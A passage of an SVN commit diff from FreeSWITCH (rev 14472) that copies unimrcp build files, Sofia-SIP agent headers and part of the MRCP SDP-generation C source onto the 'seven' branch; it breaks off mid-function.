--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/unirtsp.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/unirtsp.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,195 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unirtsp"
+	ProjectGUID="{504B3154-7A4F-459D-9877-B951021C3F1F}"
+	RootNamespace="unirtsp"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unirtsp.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="codecs"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unirtsp.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="codecs"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\rtsp.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\rtsp_client.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\rtsp_header.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\rtsp_message.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\rtsp_server.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\rtsp_start_line.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\rtsp_stream.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\rtsp_client.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\rtsp_header.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\rtsp_message.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\rtsp_server.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\rtsp_start_line.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\rtsp_stream.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/modules (from rev 14471, freeswitch/trunk/libs/unimrcp/modules)

Property changes: freeswitch/branches/seven/libs/unimrcp/modules


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/modules/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+SUBDIRS                = mrcp-sofiasip mrcp-unirtsp

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip)

Property changes: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip


Name: svn:ignore
   + Makefile.in
Makefile
Debug
*.user
Release
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+MAINTAINERCLEANFILES 	   = Makefile.in
+
+INCLUDES                   = -Iinclude \
+                             -I$(top_srcdir)/libs/mrcpv2-transport/include \
+                             -I$(top_srcdir)/libs/mrcp-signaling/include \
+                             -I$(top_srcdir)/libs/mrcp/include \
+                             -I$(top_srcdir)/libs/mrcp/message/include \
+                             -I$(top_srcdir)/libs/mrcp/control/include \
+                             -I$(top_srcdir)/libs/mrcp/resources/include \
+                             -I$(top_srcdir)/libs/mpf/include \
+                             -I$(top_srcdir)/libs/apr-toolkit/include \
+                             $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES) $(UNIMRCP_SOFIA_INCLUDES)
+
+noinst_LTLIBRARIES         = libmrcpsofiasip.la
+
+include_HEADERS            = include/mrcp_sdp.h \
+                             include/mrcp_sofiasip_server_agent.h \
+                             include/mrcp_sofiasip_client_agent.h
+libmrcpsofiasip_la_SOURCES = src/mrcp_sdp.c \
+                             src/mrcp_sofiasip_server_agent.c \
+                             src/mrcp_sofiasip_client_agent.c

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sdp.h

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sdp.h (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sdp.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sdp.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sdp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SDP_H__
+#define __MRCP_SDP_H__
+
+/**
+ * @file mrcp_sdp.h
+ * @brief MRCP SDP Transformations
+ */ 
+
+#include "mrcp_sig_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Generate SDP string by MRCP descriptor */
+MRCP_DECLARE(apr_size_t) sdp_string_generate_by_mrcp_descriptor(char *buffer, apr_size_t size, const mrcp_session_descriptor_t *descriptor, apt_bool_t offer);
+
+/** Generate MRCP descriptor by SDP session */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_descriptor_generate_by_sdp_session(const sdp_session_t *sdp, const char *force_destination_ip, apr_pool_t *pool);
+
+/** Generate SDP resource discovery string */
+MRCP_DECLARE(apr_size_t) sdp_resource_discovery_string_generate(const char *ip, const char *origin, char *buffer, apr_size_t size);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SDP_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_client_agent.h

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_client_agent.h (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_client_agent.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_client_agent.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_client_agent.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,75 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SOFIASIP_CLIENT_AGENT_H__
+#define __MRCP_SOFIASIP_CLIENT_AGENT_H__
+
+/**
+ * @file mrcp_sofiasip_client_agent.h
+ * @brief Implementation of MRCP Signaling Interface using Sofia-SIP
+ */ 
+
+#include <apr_network_io.h>
+#include "mrcp_sig_agent.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Sofia-SIP config declaration */
+typedef struct mrcp_sofia_client_config_t mrcp_sofia_client_config_t;
+
+/** Sofia-SIP config */
+struct mrcp_sofia_client_config_t {
+	/** Local IP address */
+	char      *local_ip;
+	/** External (NAT) IP address */
+	char      *ext_ip;
+	/** Local SIP port */
+	apr_port_t local_port;
+	/** Local SIP user name */
+	char      *local_user_name;
+	
+	/** Remote IP address */
+	char      *remote_ip;
+	/** Remote SIP port */
+	apr_port_t remote_port;
+	/** Remote SIP user name */
+	char      *remote_user_name;
+
+	/** Force destination ip address. Should be used only in case 
+	SDP contains incorrect connection address (local IP address behind NAT) */
+	apt_bool_t force_destination;
+
+	/** User agent name */
+	char      *user_agent_name;
+	/** SDP origin */
+	char      *origin;
+	/** SIP transport */
+	char      *transport;
+};
+
+/**
+ * Create Sofia-SIP signaling agent.
+ */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_sofiasip_client_agent_create(mrcp_sofia_client_config_t *config, apr_pool_t *pool);
+
+/**
+ * Allocate Sofia-SIP config.
+ */
+MRCP_DECLARE(mrcp_sofia_client_config_t*) mrcp_sofiasip_client_config_alloc(apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SOFIASIP_CLIENT_AGENT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_server_agent.h

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_server_agent.h (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_server_agent.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_server_agent.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/include/mrcp_sofiasip_server_agent.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SOFIASIP_SERVER_AGENT_H__
+#define __MRCP_SOFIASIP_SERVER_AGENT_H__
+
+/**
+ * @file mrcp_sofiasip_server_agent.h
+ * @brief Implementation of MRCP Signaling Interface using Sofia-SIP
+ */ 
+
+#include <apr_network_io.h>
+#include "mrcp_sig_agent.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Sofia-SIP config declaration */
+typedef struct mrcp_sofia_server_config_t mrcp_sofia_server_config_t;
+
+/** Sofia-SIP config */
+struct mrcp_sofia_server_config_t {
+	/** Local IP address to bind to */
+	char      *local_ip;
+	/** External (NAT) IP address */
+	char      *ext_ip;
+	/** Local port to bind to */
+	apr_port_t local_port;
+
+	/** SIP user name */
+	char      *user_name;
+	/** User agent name */
+	char      *user_agent_name;
+	/** SDP origin */
+	char      *origin;
+	/** SIP transport */
+	char      *transport;
+
+	/** Force destination ip address. Should be used only in case 
+	SDP contains incorrect connection address (local IP address behind NAT) */
+	apt_bool_t force_destination;
+};
+
+/**
+ * Create Sofia-SIP signaling agent.
+ */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_sofiasip_server_agent_create(mrcp_sofia_server_config_t *config, apr_pool_t *pool);
+
+/**
+ * Allocate Sofia-SIP config.
+ */
+MRCP_DECLARE(mrcp_sofia_server_config_t*) mrcp_sofiasip_server_config_alloc(apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SOFIASIP_SERVER_AGENT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/mrcpsofiasip.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/mrcpsofiasip.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/mrcpsofiasip.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/mrcpsofiasip.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/mrcpsofiasip.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,167 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpsofiasip"
+	ProjectGUID="{746F3632-5BB2-4570-9453-31D6D58A7D8E}"
+	RootNamespace="mrcpsofiasip"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\sofiasip.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpv2transport.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpsignaling.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\sofiasip.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpv2transport.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpsignaling.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mrcp_sdp.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_sofiasip_client_agent.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_sofiasip_server_agent.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_sdp.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_sofiasip_client_agent.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_sofiasip_server_agent.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sdp.c

Copied: freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sdp.c (from rev 14471, freeswitch/trunk/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sdp.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sdp.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/modules/mrcp-sofiasip/src/mrcp_sdp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,395 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <apr_general.h>
+#include <sofia-sip/sdp.h>
+#include "mrcp_sdp.h"
+#include "mrcp_session_descriptor.h"
+#include "mrcp_control_descriptor.h"
+#include "mpf_rtp_attribs.h"
+#include "apt_text_stream.h"
+#include "apt_log.h"
+
+static apr_size_t sdp_rtp_media_generate(char *buffer, apr_size_t size, const mrcp_session_descriptor_t *descriptor, const mpf_rtp_media_descriptor_t *audio_descriptor);
+static apr_size_t sdp_control_media_generate(char *buffer, apr_size_t size, const mrcp_session_descriptor_t *descriptor, const mrcp_control_descriptor_t *control_media, apt_bool_t offer);
+
+static apt_bool_t mpf_rtp_media_generate(mpf_rtp_media_descriptor_t *rtp_media, const sdp_media_t *sdp_media, const apt_str_t *ip, apr_pool_t *pool);
+static apt_bool_t mrcp_control_media_generate(mrcp_control_descriptor_t *mrcp_media, const sdp_media_t *sdp_media, const apt_str_t *ip, apr_pool_t *pool);
+
+/** Generate SDP string by MRCP descriptor */
+MRCP_DECLARE(apr_size_t) sdp_string_generate_by_mrcp_descriptor(char *buffer, apr_size_t size, const mrcp_session_descriptor_t *descriptor, apt_bool_t offer)
+{
+	apr_size_t i;
+	apr_size_t count;
+	apr_size_t audio_index = 0;
+	mpf_rtp_media_descriptor_t *audio_media;
+	apr_size_t video_index = 0;
+	mpf_rtp_media_descriptor_t *video_media;
+	apr_size_t control_index = 0;
+	mrcp_control_descriptor_t *control_media;
+	apr_size_t offset = 0;
+	const char *ip = descriptor->ext_ip.buf ? descriptor->ext_ip.buf : (descriptor->ip.buf ? descriptor->ip.buf : "0.0.0.0");
+	buffer[0] = '\0';
+	offset += snprintf(buffer+offset,size-offset,
+			"v=0\r\n"
+			"o=%s 0 0 IN IP4 %s\r\n"
+			"s=-\r\n"
+			"c=IN IP4 %s\r\n"
+			"t=0 0\r\n",
+			descriptor->origin.buf ? descriptor->origin.buf : "-",
+			ip,
+			ip);
+	count = mrcp_session_media_count_get(descriptor);
+	for(i=0; i<count; i++) {
+		audio_media = mrcp_session_audio_media_get(descriptor,audio_index);
+		if(audio_media && audio_media->base.id == i) {
+			/* generate audio media */
+			audio_index++;
+			offset += sdp_rtp_media_generate(buffer+offset,size-offset,descriptor,audio_media);
+			continue;
+		}
+		video_media = mrcp_session_video_media_get(descriptor,video_index);
+		if(video_media && video_media->base.id == i) {
+			/* generate video media */
+			video_index++;
+			offset += sdp_rtp_media_generate(buffer+offset,size-offset,descriptor,video_media);
+			continue;
+		}
+		control_media = mrcp_session_control_media_get(descriptor,control_index);
+		if(control_media && control_media->id == i) {
+			/** generate mrcp control media */
+			control_index++;
+			offset += sdp_control_media_generate(buffer+offset,size-offset,descriptor,control_media,offer);
+			continue;
+		}
+	}
+	return offset;
+}
+
+/** Generate MRCP descriptor by SDP session */
+MRCP_DECLARE(mrcp_session_descriptor_t*) mrcp_descriptor_generate_by_sdp_session(const sdp_session_t *sdp, const char *force_destination_ip, apr_pool_t *pool)
+{
+	sdp_media_t *sdp_media;
+	mrcp_session_descriptor_t *descriptor;
+
+	if(!sdp) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid SDP Message");
+		return NULL;
+	}
+	
+	descriptor = mrcp_session_descriptor_create(pool);
+
+	if(force_destination_ip) {
+		apt_string_assign(&descriptor->ip,force_destination_ip,pool);
+	}
+	else if(sdp->sdp_connection) {
+		apt_string_assign(&descriptor->ip,sdp->sdp_connection->c_address,pool);
+	}
+
+	for(sdp_media=sdp->sdp_media; sdp_media; sdp_media=sdp_media->m_next) {
+		switch(sdp_media->m_type) {
+			case sdp_media_audio:
+			{
+				mpf_rtp_media_descriptor_t *media = apr_palloc(pool,sizeof(mpf_rtp_media_descriptor_t));
+				mpf_rtp_media_descriptor_init(media);
+				media->base.id = mrcp_session_audio_media_add(descriptor,media);
+				mpf_rtp_media_generate(media,sdp_media,&descriptor->ip,pool);
+				break;
+			}
+			case sdp_media_video:
+			{
+				mpf_rtp_media_descriptor_t *media = apr_palloc(pool,sizeof(mpf_rtp_media_descriptor_t));
+				mpf_rtp_media_descriptor_init(media);
+				media->base.id = mrcp_session_video_media_add(descriptor,media);
+				mpf_rtp_media_generate(media,sdp_media,&descriptor->ip,pool);
+				break;
+			}
+			case sdp_media_application:
+			{
+				mrcp_control_descriptor_t *control_media = apr_palloc(pool,sizeof(mrcp_control_descriptor_t));
+				mrcp_control_descriptor_init(control_media);
+				control_media->id = mrcp_session_control_media_add(descriptor,control_media);
+				mrcp_control_media_generate(control_media,sdp_media,&descriptor->ip,pool);
+				break;
+			}
+			default:
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Not Supported SDP Media [%s]", sdp_media->m_type_name);
+				break;
+		}
+	}
+	return descriptor;
+}
+
+
+/** Generate SDP media by RTP media descriptor */
+static apr_size_t sdp_rtp_media_generate(char *buffer, apr_size_t size, const mrcp_session_descriptor_t *descriptor, const mpf_rtp_media_descriptor_t *audio_media)
+{
+	apr_size_t offset = 0;
+	int i;
+	mpf_codec_descriptor_t *codec_descriptor;
+	apr_array_header_t *descriptor_arr = audio_media->codec_list.descriptor_arr;
+	if(!descriptor_arr) {
+		return 0;
+	}
+	offset += snprintf(buffer+offset,size-offset,
+		"m=audio %d RTP/AVP", 
+		audio_media->base.state == MPF_MEDIA_ENABLED ? audio_media->base.port : 0);
+	for(i=0; i<descriptor_arr->nelts; i++) {
+		codec_descriptor = (mpf_codec_descriptor_t*)descriptor_arr->elts + i;
+		if(codec_descriptor->enabled == TRUE) {
+			offset += snprintf(buffer+offset,size-offset," %d", codec_descriptor->payload_type);
+		}
+	}
+	offset += snprintf(buffer+offset,size-offset,"\r\n");
+	if(descriptor->ip.length && audio_media->base.ip.length && 
+		apt_string_compare(&descriptor->ip,&audio_media->base.ip) != TRUE) {
+		const char *media_ip = audio_media->base.ext_ip.buf ? audio_media->base.ext_ip.buf : audio_media->base.ip.buf;
+		offset += sprintf(buffer+offset,"c=IN IP4 %s\r\n",media_ip);
+	}
+	if(audio_media->base.state == MPF_MEDIA_ENABLED) {
+		const apt_str_t *mode_str = mpf_stream_mode_str_get(audio_media->mode);
+		for(i=0; i<descriptor_arr->nelts; i++) {
+			codec_descriptor = (mpf_codec_descriptor_t*)descriptor_arr->elts + i;
+			if(codec_descriptor->enabled == TRUE && codec_descriptor->name.buf) {
+				offset += snprintf(buffer+offset,size-offset,"a=rtpmap:%d %s/%d\r\n",
+					codec_descriptor->payload_type,
+					codec_descriptor->name.buf,
+					codec_descriptor->sampling_rate);
+			}
+		}
+		offset += snprintf(buffer+offset,size-offset,"a=%s\r\n",mode_str ? mode_str->buf : "");
+		
+		if(audio_media->ptime) {
+			offset += snprintf(buffer+offset,size-offset,"a=ptime:%hu\r\n",audio_media->ptime);
+		}
+	}
+	offset += snprintf(buffer+offset,size-offset,"a=mid:%d\r\n",audio_media->mid);
+	return offset;
+}
+
+/** Generate SDP media by MRCP control media descriptor */
+static apr_size_t sdp_control_media_generate(char *buffer, apr_size_t size, const mrcp_session_descriptor_t *descriptor, const mrcp_control_descriptor_t *control_media, apt_bool_t offer)
+{
+	apr_size_t offset = 0;
+	const apt_str_t *proto;
+	const apt_str_t *setup_type;
+	const apt_str_t *connection_type;
+	proto = mrcp_proto_get(control_media->proto);
+	setup_type = mrcp_setup_type_get(control_media->setup_type);
+	connection_type = mrcp_connection_type_get(control_media->connection_type);
+	if(offer == TRUE) { /* offer */
+		if(control_media->port) {
+			offset += snprintf(buffer+offset,size-offset,
+				"m=application %d %s 1\r\n"
+				"a=setup:%s\r\n"
+				"a=connection:%s\r\n"
+				"a=resource:%s\r\n"
+				"a=cmid:%d\r\n",
+				control_media->port,
+				proto ? proto->buf : "",
+				setup_type ? setup_type->buf : "",
+				connection_type ? connection_type->buf : "",
+				control_media->resource_name.buf,
+				control_media->cmid);
+		}
+		else {
+			offset += snprintf(buffer+offset,size-offset,
+				"m=application %d %s 1\r\n"
+				"a=resource:%s\r\n"
+				"a=cmid:%d\r\n",
+				control_media->port,
+				proto ? proto->buf : "",
+				control_media->resource_name.buf,
+				control_media->cmid);
+		}
+	}
+	else { /* answer */
+		if(control_media->port) {
+			offset += sprintf(buffer+offset,
+				"m=application %d %s 1\r\n"
+				"a=setup:%s\r\n"
+				"a=connection:%s\r\n"
+				"a=channel:%s@%s\r\n"
+				"a=cmid:%d\r\n",
+				control_media->port,
+				proto ? proto->buf : "",
+				setup_type ? setup_type->buf : "",
+				connection_type ? connection_type->buf : "",
+				control_media->session_id.buf,
+				control_media->resource_name.buf,
+				control_media->cmid);
+		}
+		else {
+			offset += sprintf(buffer+offset,
+				"m=application %d %s 1\r\n"
+				"a=channel:%s@%s\r\n"
